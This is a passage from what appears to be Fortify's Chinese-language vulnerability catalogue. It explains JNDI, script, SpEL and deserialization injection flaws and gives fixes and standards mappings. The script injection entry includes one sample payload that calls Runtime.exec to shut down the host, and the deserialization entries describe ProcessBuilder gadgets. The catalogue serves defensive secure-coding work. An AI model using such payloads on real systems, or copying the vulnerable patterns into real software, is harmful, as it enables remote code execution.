[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40), Improper Input Handling (WASC-20)
Dynamic Code Evaluation: JNDI Reference Injection
ABSTRACT
程序使用不可信赖的地址运行 JNDI 查找,这可能导致攻击者远程运行任意 Java 代码。
EXPLANATION
如果攻击者可以控制 JNDI 查找操作的地址,则他通过将该地址指向其控制的服务器的地址并将 JNDI 命名引用返回到具有自定义对象工厂的 RMI 存储对象,也许能够远程运行任意代码。
示例 1:以下示例中的代码使用不可信赖的数据运行 JNDI 查找。
1 | ... |
RECOMMENDATIONS
不应当允许未验证的用户输入来控制 JNDI 查找的地址。而应采用间接方法:创建一份合法地址列表,用户可以指定其中的内容,并且只能从中进行选择。利用这种方法,就绝不会直接使用用户提供的输入来指定要查找的地址。
REFERENCES
[1] Trend Micro How the pawn-storm zero day evaded Java’s click-to-play protection
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 502
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Script Injection
ABSTRACT
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
EXPLANATION
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。
示例:在这个经典的 code injection 实例中,应用程序可以实施一个基本的计算器,该计算器允许用户指定执行命令。
1 | ... |
如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 “8 + 7 * 2” 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将 “ java.lang.Runtime.getRuntime().exec(“shutdown -h now”)”
指定为 operation 的值,则主机系统就会执行关机命令。
RECOMMENDATIONS
在任何时候,都应尽可能地避免解析动态代码。如果程序必须动态地解释代码,您可以通过以下方式将这种攻击获得成功的可能性降到最低:尽可能限制程序中动态执行的代码数量,将代码限制到基本编程语言的程序特定的和上下文特定的子集。程序绝对不能直接解析和执行未经验证的用户输入。而应采用间接方法:创建一份合法操作和数据对象列表,用户可以指定其中的内容,并且只能从中进行选择。利用这种方法,就绝不会直接执行由用户提供的输入。
REFERENCES
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Unsafe Deserialization
ABSTRACT
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service。
EXPLANATION
Java 序列化会将对象图转换为字节流(包含对象本身和必要的元数据),以便通过字节流进行重构。开发人员可以创建自定义代码,以协助 Java 对象反序列化过程,在此期间,他们甚至可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。
在必须存在于运行时类路径中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 JDK 类都可以被滥用,导致 JVM 资源耗尽、部署恶意文件或运行任意代码。
某些 Spring 服务导出工具会在传输层后台使用 Java 序列化。这些服务的示例包括 RMI、JMSInvoker 和 HTTPInvoker。
例 1: RMIServiceExporter 暴露 TestService 方法。
1 | <bean id="testService" class="example.TestServiceImpl"/> |
例 2: JMSInvokerServiceExporter 暴露 TestService 方法。
1 | <bean id="testService" class="example.TestServiceImpl"/> |
例 3: HTTPInvokerServiceExporter 暴露 TestService 方法。
1 | <bean id="testService" class="example.TestServiceImpl"/> |
RECOMMENDATIONS
如果可能,在没有验证对象流的内容的情况下,请勿对不可信数据进行反序列化。为了验证要进行反序列化的类,应使用前瞻反序列化模式。
对象流首先将包含类描述元数据,然后包含其成员字段的序列化字节。Java 序列化过程允许开发人员读取类描述,并确定是继续进行对象的反序列化还是中止对象的反序列化。为此,需要在应执行类验证和确认的位置,子类化 java.io.ObjectInputStream 并提供 resolveClass(ObjectStreamClass desc) 方法的自定义实现。
在这种情况下,理想的方法是将预期的类加入白名单,但在某些情况下,此方法不一定可行。对于复杂的对象图结构,黑名单方法更适合。请谨记,尽管用于执行代码的某些类已公开,但是还可能存在其他未知或未公开的类,因此,白名单方法始终都是首选方法。为避免 Denial of Service,建议您覆盖 resolveObject(Object obj) 方法,以便计算要进行反序列化的对象数量,并在超过阈值时中止反序列化。
在库或框架(例如,使用 JMX、RMI、JMS、HTTP Invoker 时)中执行反序列化时,上述建议并不适用,因为它超出了开发人员的控制范围。在这些情况下,您可能需要确保这些协议满足以下要求:
未公开披露。
使用身份验证。
使用完整性检查。
使用加密。
此外,每当应用程序通过 ObjectInputStream 执行反序列化时,Fortify Runtime(Fortify 运行时)都会提供要强制执行的安全控制,以此同时保护应用程序代码以及库和框架代码,防止遭到此类攻击。
REFERENCES
[1] Fortify Application Defender
[2] Oracle Java Serialization
[3] IBM Look-ahead Java deserialization
[4] OWASP Deserialization of untrusted data
[5] Standards Mapping - Common Weakness Enumeration CWE ID 502
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010 A1 Injection
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Unsafe JSON Deserialization
ABSTRACT
对用户控制的 Json 流进行反序列化,可能让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
EXPLANATION
将对象图转换为 Json 格式数据的 Json 序列化库可能包括重新从 Json 流重构对象所需的元数据。如果攻击者可以指定要重构的对象类,并能够强制应用程序运行具有用户控制数据的任意资源库,则在 Json 流的反序列化期间他们也许能够执行任意代码。
RECOMMENDATIONS
如果可能,在没有验证 Json 流的内容的情况下,请勿对不受信任的数据进行反序列化。根据所用的 Json 库,也许可以将反序列化过程中构造的类列入白名单。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 502
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[5] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[6] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2010 A1 Injection
[8] Standards Mapping - OWASP Top 10 2013 A1 Injection
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Unsafe XStream Deserialization
ABSTRACT
在运行时,反序列化用户控制的 XML 文档,会让攻击者有机会在服务器上执行任意恶意代码。
EXPLANATION
XStream 库为开发者提供了传输对象到 XML 文档中,然后对这些对象进行序列化处理的简单方法。但默认情况下,XStream 可以对动态代理进行反序列化,这样,攻击者就可以在调用代理的 InvocationHandler 时,在服务器上运行任意 Java 代码。
示例 1:以下 Java 代码显示了 XStream 处理不可信赖输入的实例。
1 | XStream xstream = new XStream(); |
示例 2:以下 XML 文档将执行 ProcessBuilder 对象实例化,并调用其静态 start() 方法以运行 Windows 计算器。
1 | <dynamic-proxy> |
RECOMMENDATIONS
XStream 间接阻止攻击者对已知错误类(例如 java.beans.EventHandler)进行反序列化,并进而使用反序列化运行任意命令。此外,从 XStream 1.4.7 开始,可以定义类型权限。这些权限用于直接允许或拒绝要进行反序列化的类型,因此无法将非预期的类型注入对象图。对外部源数据进行反序列化的任何应用程序都应该使用此功能,以限制执行任意命令的危险性。由于许多类可用于执行远程代码并绕过黑名单,因此请始终使用白名单方法(允许的类型)。
示例 3:以下 Java 代码显示了 XStream 通过定义允许的类型安全处理不可信赖输入的实例。
1 | XStream xstream = new XStream(); |
请注意,应审计白名单中允许的任何类,以确保对其进行反序列化是安全的。
如果使用 XStream 作为 Spring 项目的封送解决方案,请使用“converters”属性设置自定义转换器链,该链从 org.springframework.oxm.xstream.CatchAllConverter 转换器开始,如以下示例所示:
1 | <bean id="marshallingHttpMessageConverter" class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter"> |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 502
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: XMLDecoder Injection
ABSTRACT
在运行时,反序列化用户控制的 XML 文档,会让攻击者有机会在服务器上执行任意恶意代码。
EXPLANATION
JDK XMLEncoder 和 XMLDecoder 类为开发人员提供了保留对象、将对象序列化为 XML 文档的简单方法。但是 XMLEncoder 也会允许开发人员对方法调用进行序列化,如果攻击者能够提供可由 XMLDecoder 反序列化的 XML 文档,那么他就可以在服务器上执行任意代码。
示例:以下 Java 代码显示了 XMLDecoder 处理不可信赖输入的实例。
1 | XMLDecoder decoder = new XMLDecoder(new InputSource(new InputStreamReader(request.getInputStream(), "UTF-8"))); |
示例:以下 XML 文档会实例化 ProcessBuilder 对象,并调用其静态 start() 方法以运行 Windows 计算器。
1 | <java> |
RECOMMENDATIONS
令人遗憾的是,无法避免在 XMLDecoder 反序列化过程中执行代码。请勿将 XMLDecoder 与由用户控制的数据一起使用,但如果没有其他替代方法,那么请运行强验证例程,以避免恶意负载。
REFERENCES
[1] Oracle Oracle official documentation for XMLDecoder
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 502
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Expression Language Injection: Spring
ABSTRACT
计算未验证的 SpEL 表达式可能导致执行远程代码。
EXPLANATION
Spring 表达式语言(简写为 SpEL)是一种功能强大的表达式语言,支持在运行时查询和处理对象图。该语言的语法与统一 EL 类似,但提供了更多功能,尤其是方法调用和基本字符串模板化功能。 允许计算未验证的表达式将允许攻击者执行任意代码。
示例 1:应用程序使用受用户控制的未验证数据创建和计算 SpEL 表达式:
1 | String expression = request.getParameter("input"); |
示例 2:应用程序在执行双重 SpEL 计算的 Spring 标记中使用受用户控制的未验证数据:
1 | <spring:message text="" code="${param['message']}"></spring:message> |
RECOMMENDATIONS
SpEL 表达式应被视作代码,因此不应允许用户提交要在应用程序上下文中运行的任意代码。所以,用户控制的字符串不应解析为 SpEL 表达式。如果需要,开发人员应使用白名单仔细过滤并验证用户控制的表达式并仅允许所需的字符和表达式。
REFERENCES
[1] Dan Amodio Remote Code with Expression Language Injection
[2] Expression Language Injection OWASP
[3] CVE-2011-2730 Red Hat
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010 A1 Injection
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
File Permission Manipulation
ABSTRACT
允许用户输入直接更改文件权限会导致攻击者能够访问其他受保护的系统资源。
EXPLANATION
当满足以下任一条件时,就会产生 file permission manipulation 错误:
攻击者能够指定在 file system 中修改权限的操作所使用的路径。
攻击者能够指定 file system 上的操作所分配的权限。
示例 1:以下代码使用来自系统属性的输入来设置默认权限掩码。如果攻击者更改了系统属性,则他们可以使用该程序获得该程序所处理文件的访问权限。如果程序还容易受路径篡改攻击,那么攻击者可能会利用这一漏洞访问系统中的任意文件。
1 | String permissionMask = System.getProperty("defaultFileMask"); |
RECOMMENDATIONS
防止此类文件权限操纵的最佳方式是允许用户设置文件权限。但是,如果必须确保用户能够指定文件的权限,则应该使用一种间接方法:即创建一个允许用户进行指定的合法文件权限的列表,并且仅允许用户从列表中进行选择。通过这种方式,用户提供的输入将绝对不会直接用于指定文件权限。
示例 2:以下代码使用了一种间接方法以验证来自系统属性的输入(应设置默认权限掩码)。
1 | String permissionMask = System.getProperty("defaultFileMask"); |
事实上,在以上代码中,我们永远不会用到来自系统属性的用户输入。相反,我们会将其与指定的有效权限掩码进行比较,然后用于权限中。这可以防止用于比较相等性的 API 包含 bug,该 bug 会通过如空字节注入等方式允许绕开。
REFERENCES
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[14] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
